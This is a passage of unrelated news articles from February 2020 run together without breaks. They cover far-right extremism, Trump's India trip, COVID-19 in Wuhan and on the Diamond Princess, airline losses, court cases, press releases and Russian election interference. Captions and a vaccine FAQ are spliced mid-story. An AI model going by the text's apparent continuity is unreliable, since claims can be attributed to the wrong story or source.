Greece, Belgium, Italy, Britain, Spain and Austria. At the time, the boss of France's DGSI domestic intelligence service Nicolas Lerner told investigators the chances were "extremely limited" that these movements would have the ability to work together at a European level. But within a country's borders, the threat is real. German Interior Minister Horst Seehofer said Friday that right-wing extremism was the "biggest security threat" facing his country, as he announced a more visible police presence and bolstered surveillance at mosques, train stations, airports and borders. In the United States, an FBI report last November showed that 65 percent of "lone wolf" perpetrators of terror attacks where white. Nearly a fifth (19 percent) of 52 such attacks committed in the United States between 1972 and 2015 were motivated by ideologies "advocating for the superiority of the white race," it found. It was the same percentage as attackers motivated by radical Islamist doctrine. "For almost two decades, the United States has pointed abroad at countries who are exporters of extreme Islamist ideology," Russell Travers, acting director of the National Counterterrorism Center, said in November. "We are now being seen as the exporters of white supremacist ideology; that's a reality with which we are going to have to deal," he said. A day after nine people were killed by a gunman with "a very deeply racist attitude," Germany's interior minister warned that the far right still posed a "very high" security threat The Christchurch attack on two mosques in New Zealand last March, in which 51 people died, was live-streamed on Facebook by the perpetrator Under a US president who fancies himself as worlds best deal maker, that metric has grabbed outsized attention. All the more reason for India, therefore, to use Donald Trumps visit to refocus the attention on strategic partnership that continues to be the lodestar of bilateral ties. When it comes to a bilateral relationship with the United States, Indian foreign policy commentary suffers from an odd schizophrenia. When US president Donald Trump turned down coming to India for Republic Day celebrations citing prior engagements, we are told New Delhi has fallen off Washingtons radar. Now that Trump is on the verge of his maiden tour of India as US president, suddenly commentators are of the opinion that this visit is inconsequential in absence of a trade deal. Looks like he is coming to India only for a big rally. pic.twitter.com/DBz6JBbLDq Kartikeya Sharma (@kartikeya_1975) February 19, 2020 In part this schizophrenia is the result of unnatural burden of expectations that 21st Centurys most important geopolitical relationship has had to bear ever since it took off. It was not until 2000 that India and the US finally got over Cold Wars long chill following Bill Clintons epochal visit when Indias status as a nuclear power was normalised.Soaring ties since then have been accompanied by mounting expectations that both sides have struggled to manage. Expectations are not a bad thing. They arise from the fact that both nations have convergence in number of areas, from shared values to common strategic interests. The shifting geopolitical and geo-economic sands provided the context for greater dovetailing. Yet Indias colonial past, its unique civilisational mooring, vastness, complexity and regional realities make it a very different kind of democracy than the western kind, and an understanding of this dynamic makes it easier for both nations to work with each other. While the US strategic community, foreign policy and security establishment have gradually accepted this reality, the incumbent US president has introduced his own set of challenges. In upending US foreign policy axioms, he has fundamentally changed American approach to the world and all nations allies or foes are scrambling to adjust to the new reality. Trump has not only put trade and commerce at the front and center of US foreign policy, he has introduced key changes in implementing his America First theorem: rationalising Americas role as global security provider and keeper of international law, rejection of free trade and open borders , and resetting the terms of economic engagement with the rest of the world. These changes came at the cost of multilateralism or strategic logic and inevitably, put the US at odds with many of its allies, not to speak of its competitors. When even American allies are struggling to come to terms with a transactional president who puts a price tag to every relationship, it is but natural that US-India ties, too, would be subjected to the same dynamic. To argue as some commentators have that Trumps focus on trade and an inability of both nations to thrash out even a limited a trade deal has been detrimental to US-India partnership is therefore misleading. It takes away from the very consequential and significant progress in overall relationship and dismisses the milestones that have already been achieved. Notably, Trump is only the eighth serving US President to visit India after Dwight Eisenhower (1959), Richard Nixon (1969), Jimmy Carter (1978), William Clinton (2000), George W Bush (2006) and Barack Obama (2010 and 2015). The significance of this standalone trip shouldnt be lost in the din of an announcement that a limited scope deal may not materialize yet. It has caused some to dismiss Trumps engagement as superficial. It was never going to be anything else anyway. Its an ego massage event. He wouldnt have come to India if there was no stadium gig. Now just hope he doesnt rake up Kashmir mediation while hes in India. https://t.co/7ca7CMOQWY Kabir Taneja (@KabirTaneja) February 19, 2020 Aside from the fact that Trumps arrival is an opportunity for both nations to reinforce the vibrant strategic and defence cooperation and tighten collaboration in a number of new areas, the visit also gives both countries the chance to not let trade become the sole determinant of ties. There are reasons to suggest that India and the US would be better off not remaining fixated on that elusive deal (mini or major) right now just so that Trumps long flight to India produces a deliverable. Why a trade deal now may not be a great idea With the US going full steam ahead for the 2020 presidential elections, Trumps every move will be guided by domestic politics. This queers the pitch for a fair and reciprocal trade deal because Trump will remain vulnerable to interest groups within the US that he judges to be vital to his political interests. For instance, US negotiators have been pushing India hard to get market access for among other things cranberries and pecan nuts, causing perplexity in some parts of US strategic community. Also: above story gives two more ag products that the US side is apparently pushing: pecans and cranberries. Call me crazy but I have not seen cranberries much in India. Almonds/walnuts/pulses/apples, yes. Why are we fixated on cherries, corn, cranberries & pecans? (@AyresAlyssa) February 18, 2020 It is only when we look at the larger context that the picture becomes clearer. Farmers keen to export pecan nuts and pork to India belong to the swing states such as Georgia and New Mexico. Being part of a swing state that may vote either Democrat or Republican, this is too important a constituency for Trump to ignore. It is not surprising to note, therefore, that nuts became part of the table during trade negotiations. As an Economic Times article points out, senators from these areas are unhappy with the tariff that India slaps on tree nuts. Their voices are important since the pecan industry contributes more than $3.5 billion to the 15 pecan-producing states, including Georgia, Alabama, Arkansas, Texas and Mississippi. In the last 10 years, exports have pumped an extra $1.25 billion into the economy of 15 American states. These realities impose two challenges in bilateral ties. One, it imposes enormous power in the hands of US Trade Representative Robert Lighthizer, a trade hawk who is at the sharpest end of Trumps trade spear. Two, trade assumes the role of a sole metric for bilateral ties that remain multifaceted, deep and enduring. Writing in Business Standard, Carnegie India director Rudra Chaudhuri posits that increasing centrality of economics is partially the result of Lighthizers fascination with tariffs and duties. Chaudhuri mentions Lighthizers obsession with Japanese made semiconductors and personal laptops during the presidency of Ronald Reagan that has now come to rest on Indias tariff walls and standards on dairy, healthcare products, pharmaceuticals and two dozen other such items. Lack of a deal doesnt mean India and the US arent trading with each other. The reality is, as author and former deputy assistant secretary of state Alyssa Ayres points out is that from 1999 to 2018, trade in goods and services between the two countries surged from $16 billion to $142 billion. India is now the USs eighth-largest trading partner in goods and services and bilateral trade now resembles, in terms of volume, US trade with South Korea ($167 billion in 2018) or France ($129 billion). Rise in trade will inevitably accompany rise in tension. Under a US president who fancies himself as worlds best deal maker, that metric has grabbed outsized attention. All the more reason for India, therefore, to use Trumps visit to refocus the attention on strategic partnership that continues to be the lodestar of bilateral ties. The Indian side seems to have got the strategy right. Officials have told the media that they are in no rush to sign a deal. Time for Indian commentators to read the memo. Phillips 66 Partners Files 2019 Form 10-K Phillips 66 Partners LP (NYSE: PSXP) ("the Partnership") has filed its annual report on Form 10-K for the fiscal year ended Dec. 31, 2019, with the Securities and Exchange Commission (SEC (News - Alert)). The filing can be viewed through the "Investors" area of the Partnership's website at www.phillips66partners.com by selecting the "SEC Filings" link under the "Financial Information" tab, as well as on the SEC's website at www.sec.gov. Unitholders may request a hard copy of the report, which includes the Partnership's audited financial statements, free of charge. Requests should be submitted in writing to Phillips 66 - 411 S. Keeler Ave., Bartlesville, OK 74003. About Phillips 66 Partners Headquartered in Houston, Phillips 66 Partners is a growth-oriented master limited partnership formed by Phillips 66 to own, operate, develop and acquire primarily fee-based crude oil, refined petroleum products and natural gas liquids pipelines, terminals and other midstream assets. For more information, visit www.phillips66partners.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005459/en/ On Friday, Home Minister Amit Shah will hold bilateral talks with his Maldivian counterpart Sheikh Imran Abdullah. During this time, the leaders of both countries will discuss increasing bilateral cooperation in the security field. Abdullah arrived in India on a four-day tour on Thursday. This will be the first time he will meet Home Minister Shah. Kamalnath Government orders health officers to implement sterilization operation On this tour, a government official told here on Thursday that in the bilateral meeting between the two countries, the Indian team will be led by Home Minister Amit Shah and the Maldives team will be led by Sheikh Imran Abdullah. India is one of the countries that first supported the independence of Maldives in 1965. After this, India also established diplomatic relations with the Maldives. Case of disproportionate assets, raid on the house of Congress leader Shivkumar India and Maldives have long linguistic, cultural, religious and commercial relations, which is very strong. However, relations between the two countries also soured between February 2012 and November 2018. The Maldives is just 70 nautical miles (about 129 kilometers) from India's Minicoy (Lakshadweep), while it is 300 nautical miles from India's northern coast. The Maldives strategically holds great importance for India. After Maharashtra elections, Modi and Uddhav will meet for the first time today Lots of food goes into the trash, and more than half of the waste is accounted for by households, says hvg.hu. "This is where we will be most concerned, with households and hospitality businesses," says Gyula Kasza, head of department at the National Food Chain Safety Authority (NEBIH), who launched its "Without Leftovers" program in 2015. According to NEBIH, 1.8 million tonnes of food waste are produced annually by the food industry in Hungary, which is equivalent to 68 kg of food per person. This is below the European average, but it accounts for about 10% of all our grocery shopping, so an average household throws almost HUF 50,000 into the trash every year. According to the European Commission, 88 million tonnes of food waste are generated every year in the EU (equivalent to approximately EUR 143 billion). Accordingly, the EU has taken serious steps to reduce food waste. From 2020, all member states will have to start measuring food waste throughout food industries. The goal is to halve food waste by 2030, hvg.hu notes. Photo credit: Food Not Bombs Budapest On paper it sounds like an enticing enough acting gig: a few weeks at Pinewood Studios just outside London and a few days in the sunshine of the Dominican Republic. But as John Corbett can testify, the reality of his latest project was rather different. Ill never do another movie like this, he insists. I was scared pretty much all of the time. The movie in question is 47 Metres Down: Uncaged, a horror story largely set underwater in which four teenage divers exploring the sunken ruins of a Mayan city discover they are bang in the middle of a hunting ground for deadly great white sharks. John Corbett, 58, pictured, revealed the terror he experienced while filming new movie, 47 Metres Down: Uncaged With their air supply dwindling, they must navigate an underwater labyrinth of claustrophobic caves and eerie tunnels if they are to survive. Its a sequel to 2017s 47 Metres Down, a movie made for around 4 million which went on to gross nearly 50 million worldwide, and its all-new cast features the daughters of two bona-fide Hollywood A-listers in the form of Collette Foxx, daughter of Golden Globe winner Jamie, and Sylvester Stallones daughter Sistine. John, 58, a screen veteran with a vast clutch of films and TV credits to his name including Sex And The City and Northern Exposure, not to mention an impressive roster of leading ladies including Kate Hudson, Jennifer Lopez and Toni Collette, plays the father of two of the teenagers. Hes already underwater in another part of the ruins preparing them for a group of visiting archaeologists when the teenagers get trapped, and when his daughter Mia manages to reach him through the ruins he tries to help them. Given the films watery setting, his role involved a large amount of filming in full scuba gear 40ft down in a tank at Pinewood. Id never scuba-dived before and Im super-claustrophobic. John who is best known for starring in Sex And The City, said he's astonished how many people still recognise him for his role as Carrie Bradshaws love interest Aidan Shaw (pictured) These werent regular diving masks and regulators either, but full-face masks that it takes two people to put on, he recalls with a grimace. It feels a bit like an alien attacking your face and you literally cannot wait to get it off. Then down in the tank they have all these tunnels you have to cross through, and if anything goes wrong its a long way back up. 'We would go down five or six times a day for 45 minutes at a time, and from the minute we got in I wanted to get out. I had nightmares about drowning. John and Bo were set up on a blind date and have been together for 18 years. Pictured, Bo, whom he calls 'my girl', in 1979 hit 10 There was also the small matter of the all-too-realistic enormous fake shark head swimming around in the water, manned from inside by a diver. When youre 40ft down in the dark it was very convincing, says John. Youre trying to focus on your breathing and then this head comes out of nowhere and if you have any kind of imagination well, youre pretty scared. Its Sex And The City, of course, with which John is forever linked. From 2001 to 2002 he portrayed Carrie Bradshaws love interest Aidan Shaw in the smash hit TV series, set on the streets of Manhattan. Two decades and any number of films and TV series later, hes astonished at how many people still recognise him on the back of that role and how shocked they are to see him hanging out with Chris Noth, who played Aidans love rival Big. I have a rocknroll country band and last week we were playing at a party in Hollywood for the guitar players birthday, John says. Chris came down as hes my buddy and people are always so weird when they see us together. Its funny its been 20 years since I did some of those scenes, but the show still resonates so strongly for people. 'The irony is I never actually saw it when it was on I was renting an apartment in New York during filming and I was too cheap to pay for HBO so I didnt see it until years later. John explained he and Bo, pictured together in 2015, spend most of their time on their ranch Pre-Sex And The City, John had already garnered recognition for his role as disc jockey Chris Stevens in comedy drama Northern Exposure, but he won even more fans when he was cast as the lead in hit romcom My Big Fat Greek Wedding in 2002. In real life hes never made it to the altar, although for the last 18 years he has been in a relationship with Bo Derek, the 63-year-old star of the 1979 romantic comedy 10, who he sweetly calls my girl. The couple were set up on a blind date for an Oscars party by a mutual friend and have been together ever since. My friend said, Ill get you a date and at first I said, No thank you, he recalls. Then a couple of days later he called and asked me if I would like to take Bo Derek. I said, Get out of here! I like to keep things simple, no social media or anything like that. I dont have an assistant, and me and my girl do everything on the ranch The couple hit it off straightaway but two weeks after they met Corbett was committed to a promotional tour for My Big Fat Greek Wedding. We hit 46 cities in 42 days, he says. It was crazy but when Id get back to the hotel there would be these sweet little phone messages. On a press tour youre talking all day long, youre not inclined to speak to anyone but Id call her. Today they live a low-key life on a ranch three hours north of Hollywood, complete with a stable full of horses. I have an iPhone but its ancient, and Ive never bought a computer, he reveals. I like to keep things simple, no social media or anything like that. I dont have an assistant, and me and my girl do everything on the ranch. 'We have a pool and Im even the pool guy. 'We have a lot of acres and it takes me three hours to cut the grass but if I get a guy out to do it Ive got to talk to him and I dont like small talk. His attachment to life on the ranch means he takes a pragmatic approach to choosing acting roles. A lot of it comes down to when was the last time I worked and had to leave home, he says. If Id just finished a movie and something came along I didnt do backflips over, I probably wouldnt do it. He says 47 Metres Down: Uncaged made the cut because he liked the director. And the fact that the first film was a big hit was cool, and they had a decent budget, which helps, he laughs. But right now I dont have one other commitment and its a great feeling. Thats why I say no to movies most of the time. 47 Metres Down: Uncaged is available on DVD, and to rent on Virgin, Sky and Amazon Prime. BRIDGEPORT A Stratford woman claims a former Yale University doctor performed a painful procedure on her without her consent. On Thursday, a six-member Superior Court jury began hearing evidence in the lawsuit brought by the 34-year-old woman against Dr. Thomas Rutherford, a former New Haven gynecological oncologist. The womans name is being withheld by Hearst Connecticut Media. In her lawsuit, the woman does not claim malpractice by Rutherford, who now works in Florida. During opening statements on Thursday, her lawyer, James Miron, told the jury they are seeking monetary damages from Rutherford for medical battery, negligent infliction of emotional distress and failure to disclose the nature of the procedure before he performed it. Miron said Rutherford chose to perform a painful pelvis examination on his client without her consent even though he knew she was sensitive because she had previously been the victim of a sexual assault. He claimed the procedure aggravated his clients Post Traumatic Stress Disorder from the prior sex assault, causing her further emotional distress. She will have to undergo therapy for years to come, he said. However, Rutherfords lawyer, Erika Amarante, told the jurors that the woman had been a patient of Rutherfords for three years before the incident and had consented to the examination. She said they are not disputing that the procedure was painful. (The plaintiff) had mental health issues long before she saw Dr. Rutherford but it is not our intention to shame her, Amarante told the jury. According to the lawsuit, on May 14, 2014, on the advice of Rutherford, the woman went to the Yale University Gynecologic Center for an examination. During the examination, Rutherford without any warning or notice or consent from the plaintiff, intentionally, wantonly or without the exercise of due care forcefully inserted his fingers into the womans pelvic area, the suit states. The trial, before Judge Michael Hartmere, is expected to last two weeks. In 2016, a Superior Court judge dismissed the case but that ruling was later overturned by the state Appellate Court. Our Supreme Court has long recognized the principle that every human being of adult years and sound mind has a right to determine what shall be done with his own body, the appeals court ruled. A surgeon who performs an operation without his patients consent commits an assault for which he is liable in damages. Auckland, New Zealand -- (SBWIRE) -- 02/21/2020 -- Auckland-based Delta Car Wreckers Company is now offering instant top cars for used, broken, and scrap cars, vans, trucks, four-wheel drives, and UTEs for residents of Greater Auckland and beyond. The company recently announced its offer of instant cash to a maximum of $15,000 for a wide range of used, broken, and scrap vehicles depending on a number of factors such as the general condition of the vehicle. According to a representative of the Auckland car wreckers, the company not only guarantees customers of top payments deals for the used and scrap vehicles but also provides an easy way of determining the worth of the client's vehicle. "All you need to do to know how much your vehicle is worth is simply call us on 0800 820 820 or alternatively just fill up a form on our website and one of our representatives will get back to you as soon as possible," said the Delta Car Wreckers representative. The company has a very simple and straight forward process of buying used, broken, and scrap vehicles. The first thing a customer needs to do is to ask for a quote by calling the number 0800 820 820 or filling out a form available on the company's website to initiate the process. Delta Car Wreckers has a professional and friendly team of garage experts ready to help clients determine the worth of their vehicles and arrange for a pickup. Once the client has arranged for the pickup, the company will dispatch a tow truck immediately to collect the vehicle in any specified location within Auckland. Their team of experts will conduct the inspection, complete all the paperwork, and handle all legal issues on the spot to ensure that the client is paid instantly without delay. Delta Car Wreckers Auckland has made the whole process quicker and more convenient with on-the-spot inspection and instant payment. Clients can now benefit from getting the best cash values for their broken vehicles on the spot without having to wait for days to be paid. About Delta Car Wreckers Auckland Delta Car Wreckers is a well-known name vehicle removal industry in Auckland, New Zealand. The company provides first, reliable, and best value instant cash deals in all types of used and scrap cars, trucks, vans, 4WDs, and UTEs. They also provide free car removal services and environmentally friendly car wrecking services in Auckland City and surrounding areas. The company, which serves the greater Auckland area and beyond, specializes in all car removal and wrecking services including completing the necessary paperwork, handling legal matters, vehicle removal, and providing clients with instant compensation for their broken or scrap vehicles. They purchase all types of broken and scrap vehicles regardless of brand or manufacturer. Their decision to provide instant inspection and payment on the spot will be of great help to Auckland residents who prefer not to wait for days to complete the sale of their scrap vehicles. For More Information Please Visit, deltacarwreckers.co.nz Contact Us :- Delta Car Wreckers Auckland New Zealand 0800 820 820 Source: Xinhua| 2020-02-21 22:58:02|Editor: huaxia Video Player Close Chinese Vice Premier Sun Chunlan, also a member of the Political Bureau of the Communist Party of China Central Committee, visits members of medical teams from Henan, Guangxi and Gansu in a hotel in the Hankou District of Wuhan, capital of Hubei Province, Feb. 21, 2020. The central government team leading by Sun Chunlan, has studied the rotation of medical workers, strengthened guidance on hospital infection protection and improved psychological counseling in the COVID-19 epicenter to better care for frontline medical workers. (Xinhua/Chen Yehua) BEIJING, Feb. 21 (Xinhua) -- A central government team has studied the rotation of medical workers, strengthened guidance on hospital infection protection and improved psychological counseling in the COVID-19 epicenter to better care for frontline medical workers. Chinese Vice Premier Sun Chunlan, who leads the team, on Friday visited members of medical teams from Henan, Guangxi and Gansu in a hotel in the Hankou District of Wuhan, capital of Hubei Province. "The vast number of medical workers are the most admirable people," Sun said. The guiding team expressed respect and gratitude to medical workers on behalf of the Central Committee of the Communist Party of China. Sun also called for better protecting and caring for policemen, sanitation workers, community workers and volunteers, who also contribute to the normal operation of the temporary hospitals. Currently, over 40,000 medical personnel, including military medics, have been sent to Wuhan from across the country. The team has prepared daily necessities for each of them. Visiting a temporary hospital converted from a gymnasium in Wuhan, Sun inspected the testing work of the mobile P3 laboratories and patient treatment of the hospital, and talked to medical workers from Jiangsu and Guizhou via video links, who are currently working in the temporary hospital. The guiding team also visited the headquarters of Wuhan Union Hospital, where 516 COVID-19 patients have been hospitalized. Visiting maternity wards and other wards, Sun stressed the need to make overall arrangements for the treatment of other patients during the fight against the novel coronavirus, to meet people's daily medical needs. Airlines in the Asia-Pacific region stand to lose $27.8 billion (21.6 billion) of revenue this year as they slash flights due to declining demand as a result of the coronavirus, according to a preliminary estimate from an industry body. The bulk of the losses will be borne by Chinese carriers, including a $12.8 billion hit to the Chinese domestic market alone, the International Air Transport Association (IATA) said in a forecast released in New York on February 20. Chinese airlines have cut 80 percent of their planned capacity to, from and within China this week, according to flight data firm OAG, as they grapple with a sharp fall in demand due to the virus that has killed more than 2,100 people in China. Asian hub carriers Cathay Pacific Airways and Singapore Airlines have cut capacity across their global networks as they look to manage the crisis. Overall, IATA expects passenger traffic in the Asia-Pacific region to fall by 8.2 percent this year, compared to an earlier estimate of a 4.8 percent rise. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show "Airlines are making difficult decisions to cut capacity and in some cases routes," IATA Director General Alexandre de Juniac said in a statement. "Lower fuel costs will help offset some of the lost revenue. This will be a very tough year for airlines." Carriers outside Asia are expected to lose $1.5 billion of revenue due to the virus, IATA said, adding it was too early to quantify the impact on earnings. Air France KLM SA warned on February 20 of a 150 million to 200 million euro ($162 million to $216 million) hit to earnings by April as it contends with the coronavirus epidemic's "brutal" impact on the airline industry. Rajya Sabha deputy chairman Harivansh Narayan Singh and leader of the Opposition Ghulam Nabi Azad may get to ride brand new vehicles soon. The Upper House is set to buy news cars after a hiatus of five years when no vehicles were purchased for reasons of austerity. The Rajya Sabha owns about 25 cars, but most of them are either old or have frequent servicing issues, requiring their replacement. The cars used by Azad and Harivansh were both bought in 2009. They need to be urgently replaced, said a senior Rajya Sabha official who requested anonymity, adding that both leaders would be consulted before their cars are ordered. Desh Deepak Verma, secretary-general of the Upper House, constituted a five-member panel of senior officials on February 14 to review the fleet strength and examine the current requirement of vehicles in a holistic manner. The panel, which will submit its report by the first week of March, will also recommend purchase of new vehicles along with the make and model to be procured and its mode of procurement, said an internal note circulated by the stores section of the Rajya Sabha secretariat. Senior officials of the Upper House pointed out that in the last few years, the staff strength of the secretariat had increased and additional cars had become a necessity. But the idea is not to buy a huge fleet of cars. A small number of cars would be replaced and a few additional cars might be purchased depending on the committees findings, said a second official, also requesting anonymity. Rajya Sabha chairman M. Venkaiah Naidu has been in office only since August 2017, and there is no immediate need for his official car to be replaced. Naidu uses the car given to him in his capacity as the vice-president. About 18 out of the 25 cars of the RS are used by senior officials and the remaining vehicles are used as pool cars for other officers during Parliament sessions. The review of the RS fleet comes after a gap of five years. The Centre has lifted the ban on purchase of new cars enforced during an austerity drive. Hong Kong: Police concerned about virus case Police today expressed concern over a COVID-19 case in which a 48-year-old police officer preliminarily tested positive for the virus. The officer, who lives in the Disciplined Services Quarters in Yau Tong with his wife, is stationed at North Point Division and responsible for anti-riot duties in Eastern District. He had no travel history in the past 14 days and was on leave February 17 and 18. He felt unwell and attended a Chinese medicine clinic in Western District on February 18. The officer visited a government family clinic the following day and preliminarily tested positive for the virus on February 20. Acting on the Department of Health's (DH) advice, Police actively traced the officer's work records and his daily activities in the 14 days up to February 18 when he started to develop symptoms. Initial records showed that the officer mainly carried out duties in Chai Wan, North Point and Aberdeen between February 4 and 16. He had also attended a banquet with 59 police officers at a restaurant in Western District on February 18. Based on the DHs advice, all of these officers are considered as close contacts and need to undergo quarantine. Among them, 36 were on duty in the Aberdeen Division on the evening of February 20. Police immediately suspended all these officers from duty to limit their contact with the public and allow for them to wait for their quarantine arrangements at home. The remaining 23 officers attached to the Commercial Crime Bureau and different districts on Hong Kong Island have also been asked to avoid contact with the public and stay at home to wait for quarantine. Police and the DH are actively looking into the work of the close contacts, including whether they have contact with the public. According to the DHs advice, neither the anti-riot officers stationed in Eastern District with the patient nor citizens who have had contact with him are classified as close contacts at this stage. In the interest of public health however, Police have made arrangements for these anti-riot officers to stay at home for quarantine and avoid contact with the public. The force added that it will fully co-operate with the DH to carry out quarantine measures for the 59 officers and further investigate the patient's work over the past 14 days. It will also sterilise all police facilities, vehicles and quarters concerned and deploy resources flexibly to ensure the emergency services of the relevant districts are not affected. This story has been published on: 2020-02-21. To contact the author, please use the contact details within the article. Marquese Gaines hit a motorcyclist while driving in Norristown one night in August, according to investigators. But he didnt stick around, they said: He knew there was a warrant for his arrest for his involvement in a local heroin ring. The motorcyclist, Timothy Manning Jr., later died. And detectives caught up to Gaines weeks later on the drug charges. Now, DNA has helped detectives fit the two cases together, and Gaines faces additional charges in the the death of Manning, 35, prosecutors said Friday. Gaines, 29, of Germantown, was charged with failing to stop after a fatal crash, causing a fatal crash while driving without a license, and related offenses. He remained in the county prison Friday, where he has been since September, unable to post bail in the drug case. He was one of six suspects charged with drug delivery resulting in death and related offenses in March, during a crackdown on heroin dealers by Montgomery County District Attorney Kevin R. Steele. Five were arrested immediately, but Gaines eluded detectives. Gaines had been supplying potent heroin laced with fentanyl to dealers in the Norristown area bundles of the narcotic were stamped with labels such as Danger and Skull Crusher," investigators wrote in court filings. Some of those drugs were involved in a fatal overdose in Montgomery County in 2018, authorities said. During one of his trips to deliver drugs while on the run last summer, Gaines asked a woman he sold drugs to if he could borrow her car, according to the affidavit of probable cause for his arrest. She agreed, trading her Infiniti sedan for crack cocaine, the affidavit said. Later that night, Gaines pulled out in front of Manning as he drove on East Airy Street in Norristown. Manning was unable to stop, and his motorcycle hit the Infinitis front bumper, the affidavit said. Gaines, panicking, ran off and later told the cars owner about the crash. Gaines said Manning looked grievously injured, but said he couldnt contact police or remain at the scene because of the drug case, according to court documents. The woman later reported the car stolen to Philadelphia police. Months went by, and the car sat in an impound lot. County investigators were contacted by a confidential informant, who told them that Gaines had been behind the wheel of the car that killed Manning. Detectives collected DNA evidence from a fast-food cup left in the car, as well as on its steering wheel and headrest, the affidavit said. Gaines was a positive match. In 2001, when the world was in the throes of capitalism and yet to wake up to the world of impact investing, one man in India registered an entity to raise funds for transforming rural India with the princely sum of Rs.5000. The following year, he borrowed Rs.1 lakh from his wife and registered an advisory company on the premise that if those who have previously not been entrepreneurs have to turn entrepreneurial, they need someone to advise them. Meanwhile, in the United States, Jacqueline Novogratz set up Acumen, first as a fund that later became a non-profit. In the UK, businessman ... At least 106 of the 360 Hong Kong residents aboard disease-stricken cruise ship have returned while 65 have fallen ill. Hong Kong A second government-chartered flight carrying passengers from the Diamond Princess cruise ship in Japan is due in Hong Kong on Friday, ending a two-week ordeal for city residents, who were on board the coronavirus-stricken vessel. The first 106 of the 360 Hong Kong residents aboard the ship were evacuated on Thursday, while the remaining passengers are expected to arrive today. Over the past two weeks, the situation on board the cruise ship docked in the port city of Yokohama has worsened, with at least 634 of 3,700 passengers and crew testing positive for the virus. At least 65 of those infected passengers are from Hong Kong. On Thursday, two elderly Japanese passengers who were infected died of the disease, becoming the first two fatalities from the ship. Throughout the week, several countries, including Australia and the US, have scrambled to airlift hundreds of their nationals from the port. The nightmare aboard the Diamond Princess began on February 3 when 10 passengers and crew fell ill. The number has since ballooned into the largest coronavirus outbreak outside of mainland China. After learning that his parents were on board the ship, Hong Kong resident Sammy Leung grew nervous, watching as the number of cases steadily climbed every day. My parents received their results earlier this week. Both were tested negative, and they show no symptoms, said Leung. So I remain upbeat. Leungs parents are scheduled to return to Hong Kong on Friday. Money is nothing if you die But hundreds of people are still anxiously waiting for a clean bill of health from Japanese officials before they can finally leave their luxury cabins, which have come to feel like prison to some. Among those still aboard was Sunny Chen, a magician and performer from Taiwan. Im no expert, so Im not here to assign blame, said Chen on Thursday afternoon. But we all have hanged in there this long. All I can hope now is to jump through this last hoop. I wish for a smooth complete close on this chapter so there would be no regret. Chen was tested on Tuesday, but without proof of negative results, he would not be allowed to board the flight home chartered by his government scheduled to leave on Friday, after a two-day delay. Chen is one of the 20 or so Taiwanese on the cruise liner. He said at least three or four others were in the same situation as him, including a six-year-old girl. Aside from the 2,670 passengers, many of whom have disembarked the ship, there are an estimated 1,100 crew members who remain on board. Jayson P. Abalos, a Filipino crew member working in the kitchen section, of Diamond Pricess wrote on social media that although the quarantine period has already ended, they are still required to work for five days. We are counting the days, and it seems like its getting longer and longer. We are no longer functionaland we are stressed and frightened. The virus is spreading so fast inside this ship, he said. Money is nothing if you die. Disconcerting numbers Back in Hong Kong, infection disease experts are bracing for the city containing the largest cluster of coronavirus cases outside mainland China, once all the stricken passengers have returned. The ship is most certainly an infected zone, said Dr Ho Pak-leung, a microbiologist at the University of Hong Kong who oversees its centre for infection. The numbers are very disconcerting. Our hospitals should be all hands on deck and get ready. Of the 360 Hong Kong residents aboard the Diamond Princess cruise ship, an estimated 65 have been infected with the coronavirus [Anthony Kwan/Getty Images] With about one in five on the ship so far testing positive, Dr Ho said the worst-case scenario for Hong Kong would add 90 cases to the current load of 69 patients. The Hong Kong government has asked that 65 of its residents who tested positive for the virus remain in Japan for treatment, sparking anger from some family members. Stepping up their efforts to appeal to the government, two sons of four of the passengers called a press conference on Wednesday, saying that their fathers, both in their 70s and testing positive, have been languishing in a hospital ward for days with four other patients, but had yet to receive any treatment. Diamond Princess Patient 1 The outbreak was traced to a Hong Kong passenger who disembarked on January 23, two days before the ships current voyage. Days later, the 80-year-old was found to have carried the virus. Reports said the elderly passenger had also used the freshwater pools and hot tubs on the Diamond Princess. After docking in Keelung, near New Taipei City, on January 31, the ship arrived in Yokohoma on February 3 with 10 people stricken with the virus. By the following day, the Japanese health ministry ordered a 14-day quarantine for everyone on board and rushed to close its ports to all other cruise ships. However, the first sign of failure at containment emerged last week when one of the Japanese health officials monitoring the quarantine came down with the virus. Kentaro Iwata, an infection control specialist at Kobe University Hospital, warned of the situation on board, describing the rapid spread of infection as more dangerous than his previous experience dealing with the Ebola outbreak in Africa and SARS in China in 2003. Inside the Princess Diamond, I was so scared, I was so scared of getting COVID-19 because there was no way to tell where the virus is, he told reporters on Tuesday. Other cruise ships plying Chinas coasts over the past month may have stirred health scares, but none came close to the scale of the outbreak aboard the Diamond Princess. You couldnt have a better incubator for infection. So it confirms what we already know. That this is a highly transmissible virus, said Dr Anthony Fauci, director of the US National Institutes of Allergy and Infectious Diseases at a public forum on Wednesday. You amplify that when you put it in a closed space. With additional reporting by Ted Regencia WASHINGTON Russia has been trying to intervene in the Democratic primaries to aid Sen. Bernie Sanders, according to people familiar with the matter, and intelligence officials recently briefed him about Russian interference in the election, Sanders said Friday. In a statement Friday, Sanders denounced Russia, calling President Vladimir Putin an autocratic thug and warning Moscow to stay out of the election. Lets be clear, the Russians want to undermine American democracy by dividing us up and, unlike the current president, I stand firmly against their efforts and any other foreign power that wants to interfere in our election, Sanders said. He also told reporters that he was briefed about a month ago. The intelligence community is telling us Russia is interfering in this campaign right now in 2020, Sanders said Friday in Bakersfield, where he held a rally ahead of Saturdays Nevada caucuses. And what I say to Mr. Putin, If I am elected president, trust me you will not be interfering in American 